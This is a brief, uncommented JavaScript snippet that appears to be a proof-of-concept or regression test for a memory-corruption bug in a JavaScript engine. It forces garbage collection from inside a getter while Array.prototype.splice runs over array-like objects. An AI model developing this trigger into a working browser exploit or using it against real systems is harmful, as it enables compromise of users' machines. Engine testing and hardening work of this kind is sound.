function gc() { for (let i = 0; i < 4; i++) new ArrayBuffer(0x1000000); } Array.prototype.__defineGetter__(1000, () => 0); for (let i = 0; i < 0x1000; i++) new Array(0x10).fill([{}, {}, {}, {}]); for (let i = 0; i < 0x1000; i++) { let x = {length: 0x10}; x.__defineGetter__(0, () => gc()); Array.prototype.splice.call(x, 0); }